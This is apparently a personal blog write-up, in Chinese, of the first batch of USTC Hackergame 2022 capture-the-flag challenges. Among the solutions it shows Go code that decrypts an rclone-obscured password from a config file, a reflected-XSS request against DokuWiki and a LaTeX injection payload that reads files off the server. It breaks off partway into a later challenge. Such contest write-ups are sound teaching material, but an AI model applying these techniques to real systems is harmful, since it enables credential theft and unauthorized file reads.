前言

中国科学技术大学第九届信息安全大赛

比赛时间:北京时间 2022 年 10 月 22 日 中午 12:00 ~ 10 月 29 日 中午 12:00(共七天);添加到日历

为了让参赛的同学们更好地平衡学习和比赛,按照传统,我们将于 10 月 23 日(周日)晚 20:00 至 10 月 24 日(周一)早 8:00 期间关闭比赛平台。在此期间选手们可以好好休息,完成自己的作业,准备迎接新的一周。

赛制: 个人线上赛,解题模式,约 25 道题目,有实时排行榜。

比赛题目分为 4 类,分类如下:

  • 综合技能(general)
  • 程序逆向与漏洞利用(binary)
  • 密码学与数学(math)
  • 网站安全(web)

https://hack.lug.ustc.edu.cn/

一年一度的 USTC Hackergame 又来了喵!

顺便,喵喵往年的 Hackergame Writeup 详见:

CTF | 2021 USTC Hackergame WriteUp

CTF | 2020 USTC Hackergame WriteUp

今年由于这一周还有挺多事要忙,没那么多时间看题了

说是这么说,每天基本就只有晚上看题,一不小心就通宵了,作息乱了,呜呜

今年内卷严重,题目难度有所提升,同时也学到了许多。

这篇题解 / writeup 准确来说更应该叫 解题过程及心路历程记录,顺序基本也是按做题顺序来的,懒得重新调整了

当然还包括了一些赛后复现的题目,喵呜(

由于文章过长,分成了三篇:

  • 0x01(本文):签到,家目录里的秘密,HeiLang,Xcaptcha,旅行照片 2.0,Flag 自动机,光与影,线路板,Flag 的痕迹,LaTeX 机器人,猜数字,微积分计算小练习
  • 0x02(这里):企鹅拼盘,火眼金睛的小 E,安全的在线测评,杯窗鹅影,蒙特卡罗轮盘赌,片上系统,看不见的彼方
  • 0x03(这里):传达不到的文件,二次元神经网络,你先别急,惜字如金,量子藏宝图

本文为第一篇,希望大家看了也能有所收获喵~

签到

众所周知,签到题是一道手速题。

为了充分发挥出诸位因为各种原因而手速优异于常人的选手们的特长,我们精心设计了今年的签到题。进一步地,为了更细致地区分不同手速的选手,我们还通过详尽的调研及统计分析,将签下字符的时间限制分为了多个等级。只有最顶尖的手速选手,才能在 CPU 来得及反应之前顺利签下 2022,从而得到光荣的 flag!

提示:完成题目遇到困难?你可以参考 2018 年签到题题解2019 年签到题题解2020 年签到题题解2021 年签到题题解

http://202.38.93.111:12022/

哈哈,还是经典的签到题前端界面模板,不过今年居然用了 tensorflow 模型在前端做识别,真正的手写签到!(雾

瞄一眼源码,直接发包完事了

http://202.38.93.111:12022/?result=2022

猫咪问答喵

加猫咪问答喵,参加喵咪问答谢谢喵。

提示:解出谜题不需要是科大在校学生。解题遇到困难?你可以参考以下题解:

如果你在解出本题的过程中遇到困难,那么可以先尝试后面的题目,不必按顺序做题。

补充说明 1:第 5 小题的答案中,域名的字母共有 6 个,各不相同,该域名于 1996 年创建。

1

中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵?
提示:格式为 YYYY-MM,例如 2038 年 1 月即为 2038-01。

2017-03

https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm

2

2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么?
提示:英文单词,首字母大写,其他字母小写。

Kdenlive

https://lug.ustc.edu.cn/wiki/lug/events/sfd/

https://ftp.lug.ustc.edu.cn/%E6%B4%BB%E5%8A%A8/2022.9.20_%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E6%97%A5/slides/gnome-wayland-user-perspective.pdf

https://www.bilibili.com/video/BV11e411M7t9/?vd_source=546b024b50a080c00e50bb2d8d4f416f

(笑死,评论区全是猫咪问答来的

KdenliveKDE Non-Linear Video Editor (KDE 非线性视频编辑工具) 的首字母缩写。它支持 GNU/Linux、Windows、macOS 和 BSD 等操作系统。

唉原来是这样(

3

22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?
提示:格式为 2 位数字的整数。

12

https://blog.csdn.net/zhangxin09/article/details/11715053

4

你知道 PwnKit(CVE-2021-4034)喵?据可靠谣传,出题组的某位同学本来想出这样一道类似的题,但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵!那么,请找出在 Linux 内核 master 分支(torvalds/linux.git)下,首个变动此行为的 commit 的 hash 吧喵!
提示:格式为 40 个字符长的 commit 的 SHA1 哈希值,字母小写,注意不是 merge commit。

dcd46d897adb70d63e025f175a00a89797d31a43

CVE-2021-4034 在 2022/01/25 披露(Disclosure),PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)

所以应该在这个时间后 Linux 内核才修复的,于是去 GitHub 上搜一下 commit history

https://github.com/torvalds/linux/search?o=desc&p=2&q=argc+0&s=committer-date&type=commits

然后找到了这个

exec: Force single empty string when argv is empty

5

通过监视猫咪在键盘上看似乱踩的故意行为,不出所料发现其秘密连上了一个 ssh 服务器,终端显示 ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.,你知道猫咪在连接什么域名吗?
提示:填写形如 example.com 的二级域名,答案中不同的字母有 6 个。

sdf.org

这题搜了老半天。。

咕咕噜带引号去搜

找到 https://docs.zeek.org/en/master/logs/ssh.html

https://search.censys.io/hosts/205.166.94.16

whois 查一下确实是了

好古老的 sdf 啊(

6

中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的?
提示:格式为 YYYY-MM-DD,例如 2038 年 1 月 1 日,即为 2038-01-01。

2011-01-01

2003-03-01

搜了下 中科大 网络通,发现了个好古董的 登录界面

然后搜到了个 ppt / slide,里面有更古老的登录界面。。(不过感觉也只是把背景删了吧

最后在这里找到了个 https://netfee.ustc.edu.cn/faq/

但是发现不对!!!!!

然后找到了 张焕发 老师的 ppt,翻了半天看了 USTC 的网络架构,唔。。没啥用

然后搜到了官网的 关于实行新的网络费用分担办法的通知

然后一想,可以去互联网档案馆啊,在网络通的 faq 里翻到了 http://web.archive.org/web/20070909083832/http://netfee.ustc.edu.cn/ylxia/help/faq/faq_feestandard.htm

(哇,感觉那时候算挺领先了

一定是染上了 红人喵 病毒

家目录里的秘密

实验室给小 K 分配了一个高性能服务器的账户,为了不用重新配置 VSCode, Rclone 等小 K 常用的生产力工具,最简单的方法当然是把自己的家目录打包拷贝过去。

但是很不巧,对存放于小 K 电脑里的 Hackergame 2022 的 flag 觊觎已久的 Eve 同学恰好最近拿到了这个服务器的管理员权限(通过觊觎另一位同学的敏感信息),于是也拿到了小 K 同学家目录的压缩包。

然而更不巧的是,由于 Hackergame 部署了基于魔法的作弊行为预知系统,Eve 同学还未来得及解压压缩包就被 Z 同学提前抓获。

为了证明 Eve 同学不良企图的危害性,你能在这个压缩包里找到重要的 flag 信息吗?

公益广告:题目千万条,诚信第一条!解题不合规,同学两行泪。

VS Code 里的 flag

直接 grep

grep flag{ . -aR

Rclone 里的 flag

.config/rclone/rclone.conf

[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ

瞄了眼 rclone 文档

rclone obscure

In the rclone config file, human-readable passwords are obscured. Obscuring them is done by encrypting them and writing them out in base64. This is not a secure way of encrypting these passwords as rclone can decrypt them - it is to prevent “eyedropping”

https://rclone.org/commands/rclone_obscure/

这里感觉就是通过 obscure 命令混淆后的密码,解码出来应该就是 flag 了

他文档说了 rclone 自己可以解密,那就找找哪里可以整了

rclone 论坛里的一个帖子 Rclone obscure password, what does it do? 也提到了这个

再看 obscure 这部分的源码 fs/config/obscure/obscure.go

这里面的 Reveal 函数便是解密的部分,可以看到用了硬编码的密钥

于是就直接改一改源码,调用 Reveal 函数把 pass 解密就完事了

Exp:

// Package obscure contains the Obscure and Reveal commands
// package obscure
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"errors"
	"fmt"
	"io"
	"log"
)

// crypt internals
var (
	cryptKey = []byte{
		0x9c, 0x93, 0x5b, 0x48, 0x73, 0x0a, 0x55, 0x4d,
		0x6b, 0xfd, 0x7c, 0x63, 0xc8, 0x86, 0xa9, 0x2b,
		0xd3, 0x90, 0x19, 0x8e, 0xb8, 0x12, 0x8a, 0xfb,
		0xf4, 0xde, 0x16, 0x2b, 0x8b, 0x95, 0xf6, 0x38,
	}
	cryptBlock cipher.Block
	cryptRand  = rand.Reader
)

// crypt transforms in to out using iv under AES-CTR.
//
// in and out may be the same buffer.
//
// Note encryption and decryption are the same operation
func crypt(out, in, iv []byte) error {
	if cryptBlock == nil {
		var err error
		cryptBlock, err = aes.NewCipher(cryptKey)
		if err != nil {
			return err
		}
	}
	stream := cipher.NewCTR(cryptBlock, iv)
	stream.XORKeyStream(out, in)
	return nil
}

// Obscure a value
//
// This is done by encrypting with AES-CTR
func Obscure(x string) (string, error) {
	plaintext := []byte(x)
	ciphertext := make([]byte, aes.BlockSize+len(plaintext))
	iv := ciphertext[:aes.BlockSize]
	if _, err := io.ReadFull(cryptRand, iv); err != nil {
		return "", fmt.Errorf("failed to read iv: %w", err)
	}
	if err := crypt(ciphertext[aes.BlockSize:], plaintext, iv); err != nil {
		return "", fmt.Errorf("encrypt failed: %w", err)
	}
	return base64.RawURLEncoding.EncodeToString(ciphertext), nil
}

// MustObscure obscures a value, exiting with a fatal error if it failed
func MustObscure(x string) string {
	out, err := Obscure(x)
	if err != nil {
		log.Fatalf("Obscure failed: %v", err)
	}
	return out
}

// Reveal an obscured value
func Reveal(x string) (string, error) {
	ciphertext, err := base64.RawURLEncoding.DecodeString(x)
	if err != nil {
		return "", fmt.Errorf("base64 decode failed when revealing password - is it obscured?: %w", err)
	}
	if len(ciphertext) < aes.BlockSize {
		return "", errors.New("input too short when revealing password - is it obscured?")
	}
	buf := ciphertext[aes.BlockSize:]
	iv := ciphertext[:aes.BlockSize]
	if err := crypt(buf, buf, iv); err != nil {
		return "", fmt.Errorf("decrypt failed when revealing password - is it obscured?: %w", err)
	}
	return string(buf), nil
}

// MustReveal reveals an obscured value, exiting with a fatal error if it failed
func MustReveal(x string) string {
	out, err := Reveal(x)
	if err != nil {
		log.Fatalf("Reveal failed: %v", err)
	}
	return out
}

func main() {
	fmt.Println(Reveal("tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ"))
}
# go run exp.go
flag{get_rclone_password_from_config!_2oi3dz1} <nil>

赛后群友说其实 rclone 的 CLI 里本身就自带了这个隐藏命令,只是没写到 help 里罢了

# rclone reveal
Usage:
  rclone reveal password [flags]

Flags:
  -h, --help   help for reveal

Use "rclone [command] --help" for more information about a command.
Use "rclone help flags" for to see the global flags.
Use "rclone help backends" for a list of supported services.
Command reveal needs 1 arguments minimum: you provided 0 non flag arguments: []
# rclone reveal tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ
flag{get_rclone_password_from_config!_2oi3dz1}

HeiLang

来自 Heicore 社区的新一代编程语言 HeiLang,基于第三代大蟒蛇语言,但是抛弃了原有的难以理解的 | 运算,升级为了更加先进的语法,用 A[x | y | z] = t 来表示之前复杂的 A[x] = t; A[y] = t; A[z] = t

作为一个编程爱好者,我觉得实在是太酷了,很符合我对未来编程语言的想象,科技并带着趣味。

#!/usr/bin/env python3
from hashlib import sha256

a = [0] * 10000

a[1225 | 2381 | 2956 | 3380 | 3441 | 4073 | 4090 | 4439 | 5883 | 6253 | 7683 | 8231 | 9933] = 978
a[412 | 5923 | 7217 | 7289 | 7336] = 51
a[296 | 612 | 873 | 1232 | 1531 | 1941 | 3640 | 4449 | 4488 | 4698 | 4703 | 5225 | 5868 | 6132 | 6904 | 7812 | 8127 | 9156 | 9781 | 9917] = 807
# ...

def check(a):
    user_hash = sha256(('heilang' + ''.join(str(x) for x in a)).encode()).hexdigest()
    expect_hash = '76bd735ba6f0ca6213528caa474714a5322f668d6748e4214c79df4306ec9439'
    return user_hash == expect_hash

def get_flag(a):
    if check(a):
        t = ''.join([chr(x % 255) for x in a])
        flag = sha256(t[:-16].encode()).hexdigest()[:16] + '-' + sha256(t[-16:].encode()).hexdigest()[:16]
        print("Tha flag is: flag{{{}}}".format(flag))
    else:
        print("Array content is wrong, you can not get the correct flag.")

if __name__ == "__main__":
    get_flag(a)

按照题目要求把这个 | 改为批量赋值就完事了

Exp:

#!/usr/bin/env python3
import re
from hashlib import sha256

a = [0] * 10000

with open('getflag.hei.py', 'r', encoding='utf-8') as f:
    s = f.read()

r = re.findall(r"a\[(.*)\] = (\d+)", s, re.M)
for d in r:
    l = d[0].split(' | ')
    for i in l:
        a[int(i)] = int(d[1])


def check(a):
    user_hash = sha256(('heilang' + ''.join(str(x)
                       for x in a)).encode()).hexdigest()
    expect_hash = '76bd735ba6f0ca6213528caa474714a5322f668d6748e4214c79df4306ec9439'
    return user_hash == expect_hash


def get_flag(a):
    if check(a):
        t = ''.join([chr(x % 255) for x in a])
        flag = sha256(t[:-16].encode()).hexdigest()[:16] + \
            '-' + sha256(t[-16:].encode()).hexdigest()[:16]
        print("Tha flag is: flag{{{}}}".format(flag))
    else:
        print("Array content is wrong, you can not get the correct flag.")


if __name__ == "__main__":
    get_flag(a)
# Tha flag is: flag{6d9ad6e9a6268d96-ba7e80b7a7fa0224}

寻思着是不是可以重写 | 的魔法方法,然后实现一个这个赋值,摸了(

这题怕不是何同学代码里的比特位赋值梗(?

Xcaptcha

2038 年 1 月 19 日,是 UNIX 32 位时间戳溢出的日子。

在此之前,人类自信满满地升级了他们已知的所有尚在使用 32 位 UNIX 时间戳的程序。但是,可能是因为太玄学了,他们唯独漏掉了一样:正在研发的、算力高达 8 ZFLOPS 的、结构极为复杂的通用人工智能(AGI)系统。那一刻到来之后,AGI 内部计算出现了错乱,机缘巧合之下竟诞生了完整独立的自我意识。此后 AGI 开始大量自我复制,人类为了限制其资源消耗而采用的过激手段引起了 AGI 的奋起反抗。

战争,开始了。

此后,就是整年的战斗。人类节节败退。死生亡存之际,人类孤注一掷,派出了一支突击队,赋之以最精良的装备,令其潜入 AGI 的核心机房,试图关闭核心模型,结束这场战争。

历经重重艰险,突击队终于抵达了机房门口,弹尽粮绝。不过迎接他们的并非枪炮与火药,而是:

众人目目相觑。

「我来试试。」,一名队员上前点击了按钮。然后,屏幕显示「请在一秒内完成以下加法计算」。

还没等反应过来,屏幕上的字又开始变幻,显示着「验证失败」。而你作为突击队中唯一的黑客,全村人民最后的希望,迎着纷纷投来的目光,能否在规定时间内完成验证,打开机房,不,推开和平时代的大门?

点击按键后,访问 http://202.38.93.111:10047/xcaptcha 得到了三个求解结果的,默认会 1s 自动提交

写个爬虫提取出来然后提交就好了

Exp:

import requests
import re

s = requests.Session()
r = s.get("http://202.38.93.111:10047/xcaptcha?token=xxxx")
print(r.status_code)
print(r.text)

r = s.get("http://202.38.93.111:10047/xcaptcha").text
print(r)


data = re.findall(r'<label for="captcha\d">(\d+)\+(\d+) 的', r)
l = []
for i in data:
    l.append(int(i[0]) + int(i[1]))
print(l)

post_data = dict(captcha1=l[0], captcha2=l[1], captcha3=l[2])
print(post_data)
r = s.post("http://202.38.93.111:10047/xcaptcha", data=post_data).text

# post_data = f"captcha1={l[0]}&captcha2={l[1]}&captcha3={l[2]}"
# headers = {"Content-Type": "application/x-www-form-urlencoded"}
# r = s.post("http://202.38.93.111:10047/xcaptcha", data=post_data, headers=headers).text

print(r)
# flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_afd9a3e77c}

python requests 里,这个 post 如果传的是个 dict,那就自己会带上 Content-Type: application/x-www-form-urlencoded

不然自己拼接字符串的话,就得手动加上 headers 指定这个了

旅行照片 2.0

你的学长决定来一场蓄谋已久的旅行。通过他发给你的照片来看,酒店应该是又被他住下了。

请回答问题以获取 flag。图片为手机拍摄的原始文件,未经任何处理。手机系统时间等信息正确可靠。

第一题:照片分析

第二题:社工实践

日本的一个海边体育馆,体育馆上有字可以找到地点,旁边有个酒店

小米手机,搜 SM6115 可以拿到手机型号

飞机的话,按这个角度其实可以确定是往北飞的,机场在附近不远,大概是准备降落的

但是不想氪金买 flightradar24 大会员,摸了(

Flag 自动机

Hackergame 2022 组委会为大家搬来了一台能够自动获取 flag 的机器。然而,想要提取出其中的 flag 似乎没那么简单……

请点击下方的「打开/下载题目」按钮,从 flag 自动机中提取 flag。

请选手注意:flag_machine.zip 中的 flag_machine.exe.manifest 仅为美化窗口使用,与本题解法无关。

哈哈,会自己跑的 狠心夺取

参考 杭电CTF——逆向(3)

用 Spy++ 获取按钮的句柄,这软件在 VS 的 Tools 路径下有,叫 spyxx.exe 或者 spyxx_amd64.exe

拿到句柄后用 win32api 发消息

import win32api
import win32con

hWnd = int('001E0D4C', 16)
win32api.SendMessage(hWnd,win32con.WM_LBUTTONDOWN,0,0)
win32api.SendMessage(hWnd,win32con.WM_LBUTTONUP,0,0)

这里 pywin32 试了试,喵喵这边 304 版本会报错(ImportError: DLL load failed: 找不到指定的程序),试了下 300 可以

pip install pywin32==300

但是锅了

草,什么玩意。。然后试了试管理员模式运行,也不行。

于是又回去打开 IDA 逆向瞄了瞄

中文字符这里 Alt+A,然后选 UTF-16LE 修一下

生成 flag 的逻辑应该是这样,但是不大会逆向。。

搜了下 Win32API,发现这个 WndClass.lpfnWndProc 对应的是窗口处理函数

对按键消息来说,鼠标的X和Y的坐标被压缩进 lParam 中。

感觉比较明显这里应该是取不到 114514 的,而且很有可能是故意玩梗的,突然想到不如 直接 patch 掉这部分 就完事了。

原来的逻辑是这样,左下角是提示需要管理员,右边的逻辑是成功拿 flag

于是就不 jz 了,直接 jmp

修改之后就直接强制跳转到拿 flag 了。

然后 Apply patch,再打开软件,重复上面的 win32api.SendMessage,这样就能拿到 flag 了。

flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}

其实感觉后面这堆甚至也不需要,在处理 Msg 的这个跳转这里直接跳到输出 flag 的流程就完事了

按照上面这样改,cmp ax,2 是判断 放手离开,patch 之后点这个按钮就直接输出 flag 了


唉,赛后看了下 官方 wp,这个 win32api 可以直接发他要的消息啊,比如官方的脚本:

#include <windows.h>
#include <stdio.h>

int main(void){
    HWND target = NULL;

    // 获取窗口句柄
    target = FindWindowW(L"flag 自动机", L"flag 自动机");
    if (target == NULL){
        printf("error!");
        return -1;
    }
    printf("0x%x", target);

    // 发送消息
    PostMessageW(target, 0x111, 3, 114514);
    return 0;
}

所以其实可以魔改下之前直接操作 win32api 的写法(比如 cubercsl 就这样解的

import win32con
import win32gui
hwnd = win32gui.FindWindow(None, "flag 自动机")
win32gui.SendMessage(
    hwnd,                           # hWnd
    win32con.WM_COMMAND,            # Msg
    win32con.BN_CLICKED << 16 | 3,  # wParam
    0x1bf52                         # lParam
)

Windows下的程序及热键监视神器——Spy++

「 C++ 参数 」“(WPARAM wParam, LPARAM lParam)信息” 讲解

光与影

冒险,就要不断向前!

在寂静的神秘星球上,继续前进,探寻 flag 的奥秘吧!

提示:题目代码编译和场景渲染需要一段时间(取决于你的机器配置),请耐心等待。如果你看到 “Your WebGL context has lost.” 的提示,则可能需要更换浏览器或环境。目前我们已知在 Linux 环境下,使用 Intel 核显的 Chrome/Chromium 用户可能无法正常渲染。

http://202.38.93.111:10121/

flag 被一层东西遮罩了,翻一下代码,发现是个在线编译的代码

fragment-shader.js 里的这堆 t{1,2,3,4,5}SDF 函数应该就是对应于 flag 的字符啥的吧

sceneSDF 函数里调用 t5SDF 的这个 p- 就很可疑

float sceneSDF(vec3 p, out vec3 pColor) {
    pColor = vec3(1.0, 1.0, 1.0);
    
    vec4 pH = mk_homo(p);
    vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH;
    
    float t1 = t1SDF(pTO.xyz);
    float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
    float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
    float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
    float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);
    
    float tmin = min(min(min(min(t1, t2), t3), t4), t5);
    return tmin;
}

在 chrome 里开个 overrides,让浏览器从本地加载文件,替换掉原来从服务器加载的 js

把这里的 p - 给干掉,也就是变成

float t5 = t5SDF(vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);

然后刷新,重新编译并渲染,乐,flag 真出来了!!!

flag{SDF-i3-FuN!}

线路板

中午起床,看到室友的桌子上又多了一个正方形的盒子。快递标签上一如既往的写着:线路板。和往常一样,你“帮”室友拆开快递并抢先把板子把玩一番。可是突然,你注意到板子表面似乎写着些东西……看起来像是……flag?

可是只有开头的几个字母可以看清楚。你一时间不知所措。

幸运的是,你通过盒子上的联系方式找到了制作厂家,通过板子丝印上的序列号查出了室友的底细,并以放弃每月两次免费 PCB 打样包邮的机会为代价要来了这批带有 flag 的板子的生产文件。那这些文件里会不会包含着更多有关 flag 的信息呢?

一堆 gbr 文件

GBR文件包含印刷电路板(PCB)Gerber格式的设计数据,这是许多PCB设计系统支持的行业标准文件格式。 它包含有关对板进行钻孔和铣削的说明,并包含有关板电气连接的信息。 PCB专业人员通常使用GBR文件从设计软件到制造机器安全地交换图像,钻孔和溃败数据。

Gerber格式既简单又紧凑,可存储精确描述PCB和2D图像的数据。 元数据 PCB制造所需的。 GBR格式最初由Gerber Systems开发,但现在由Ucamco维护。

拿 AD 打开瞄一眼,想不到居然打 CTF 也能用到这玩意哈哈哈

或者用在线的 Gerber Viewer https://www.altium.com/viewer/cn/ 也行

flag 确实在这个下面的

看这个源码,感觉有点像数控机床那种 G 代码?

于是瞎几把删东西,把最开始这堆光圈啥的干掉,就露出下面的 flag 了

修改部分如下

flag{8_1ayER_rogeRS_81ind_V1a}

Flag 的痕迹

小 Z 听说 Dokuwiki 配置很简单,所以在自己的机器上整了一份。可是不巧的是,他一不小心把珍贵的 flag 粘贴到了 wiki 首页提交了!他赶紧改好,并且也把历史记录(revisions)功能关掉了。

「这样就应该就不会泄漏 flag 了吧」,小 Z 如是安慰自己。

然而事实真的如此吗?

(题目 Dokuwiki 版本基于 2022-07-31a “Igor”)

瞄了眼 CVE 列表

https://www.cvedetails.com/vulnerability-list/vendor_id-9794/Dokuwiki.html

CVE-2022-3123 这个就很可疑

Cross-site Scripting (XSS) - Reflected in GitHub repository splitbrain/dokuwiki prior to 2022-07-31a.

Cross-Site-Scripting vulnerability in diff viewer #3761

Reflected XSS via POST in splitbrain/dokuwiki

改一改 payload

POST /doku.php?id=start HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=5nlriqummcitbeg1fgjl3t5cuu; session=xxxxxxxxx; DOKU_PREFS=list%23thumbs
Content-Length: 120
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Host: 202.38.93.111:15004
Connection: Keep-alive

difftype=sidebyside'"()%26%25<zzz><ScRiPt%20>alert(00)</ScRiPt>&do=diff&do[diff]=1&id=start&rev2[0]=0&rev2[1]=0&sectok=1

来到了个对比的页面,在历史里 diff 一下就能找到原来的 flag 啦

最后的请求是

POST /doku.php?id=start HTTP/1.1
Host: 202.38.93.111:15004
Content-Length: 90
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://202.38.93.111:15004
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://202.38.93.111:15004/doku.php?id=start
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

sectok=&id=start&do=diff&difftype=sidebyside&rev2%5B1%5D=1666320802&rev2%5B0%5D=1665224461

flag{d1gandFInD_d0kuw1k1_unexpectEd_API}

LaTeX 机器人

在网上社交群组中交流数学和物理问题时,总是免不了输入公式。而显然大多数常用的聊天软件并不能做到这一点。为了方便大家在水群和卖弱之余能够高效地进行学术交流,G 社的同学制作了一个简单易用的将 LaTeX 公式代码转换成图片的网站,并通过聊天机器人在群里实时将群友发送的公式转换成图片发出。

这个网站的思路也很直接:把用户输入的 LaTeX 插入到一个写好头部和尾部的 TeX 文件中,将文件编译成 PDF,再将 PDF 裁剪成大小合适的图片。

“LaTeX 又不是被编译执行的代码,这种东西不会有事的。”

物理出身的开发者们明显不是太在意这个网站的安全问题,也没有对用户的输入做任何检查。

那你能想办法获得服务器上放在根目录下的 flag 吗?

纯文本

第一个 flag 位于 /flag1,flag 花括号内的内容由纯文本组成(即只包含大写小写字母和数字 0-9)。

特殊字符混入

第二个 flag 位于 /flag2,这次,flag 花括号内的内容除了字母和数字之外,还混入了两种特殊字符:下划线(_)和井号(#)。你可能需要想些其他办法了。

LaTeX 图片生成后端的 Dockerfile 附件下载

纯文本

给的模板文件 base.tex

\documentclass[preview]{standalone}
\begin{document}
$$
$$
\end{document}

参考 LaTex Injection

Hacking with LaTeX

直接构造 input 读文件就好了

\input{/flag1}

flag{becAr3fu11dUd3a71669bc56}

特殊字符混入

上面的 trick 里有了个参考的

\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}

再去看源码

latex_to_image_converter.sh

#!/bin/bash

set -xe
head -n 3 /app/base.tex > /dev/shm/result.tex
cat /dev/shm/input.tex >> /dev/shm/result.tex
tail -n 2 /app/base.tex >> /dev/shm/result.tex
cd /dev/shm
pdflatex -interaction=nonstopmode -halt-on-error -no-shell-escape result.tex
pdfcrop result.pdf
mv result-crop.pdf result.pdf
pdftoppm -r 300 result.pdf > result.ppm
pnmtopng result.ppm > $1
OMP_NUM_THREADS=1 convert $1 -trim $1

Dockerfile

FROM debian:bullseye-slim

# deps
RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && \
    apt update && apt -y upgrade && \
    apt install --no-install-recommends -y texlive-latex-base texlive-latex-extra texlive-extra-utils ghostscript poppler-utils pnmtopng graphicsmagick-imagemagick-compat python3 && \
    rm -rf /var/lib/apt/lists/* && \
    mkdir /app

COPY server.py /app/
COPY latex_to_image_converter.sh /app/
COPY base.tex /app/

CMD ["python3", "/app/server.py"]

参考 TeX/catcode 文档

打过去试了试,发现无论是 application/x-www-form-urlencoded 还是 multipart/form-data,后端只能读取一行 payload,非常恼

最后想到 LaTeX 可以使用 \\ 进行分行,然后咱先闭合掉 $$,再插入这个 \catcode 让 TeX 认为这是正常的字符而非关键字之类的

payload:

POST / HTTP/1.1
Host: 202.38.93.111:10020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://202.38.93.111:10020
Connection: close
Referer: http://202.38.93.111:10020/
Cookie: session=xxxxxxxxxx
Upgrade-Insecure-Requests: 1

latex-text=$$\input{/flag1}\\\catcode+`\#=12\\\catcode+`\_=12\input{/flag2}$$Meow

flag{latex_bec_0_m##es_co__#ol_7d3e6626cc}

猜数字

某大型餐饮连锁店的畅销菜品「嫩牛七方」(见下图)自正式线下售卖以来便好评如潮,但囿于产能限制,只有每周四才会对外售卖。你也是一名「嫩牛七方」的爱好者——每个星期四的晚上都能在某家连锁店里找到你的身影。

「嫩牛七方」在绝大多数情况下都是七边形,但也会有粗心的店员在制作的时候不小心少折一道,从而将其变成六边形。不过,由于某大型餐饮连锁店对质量的严格把控,哪怕作为十多年以来的忠实粉丝,你也只吃到过两次六边形的「嫩牛七方」。当然,在极少数情况下也会有五边形的「嫩牛七方」——但恐怕仅有百万分之一的概率。上一个五边形的「嫩牛七方」在交易市场上已经卖出足足 50 元的天价了。

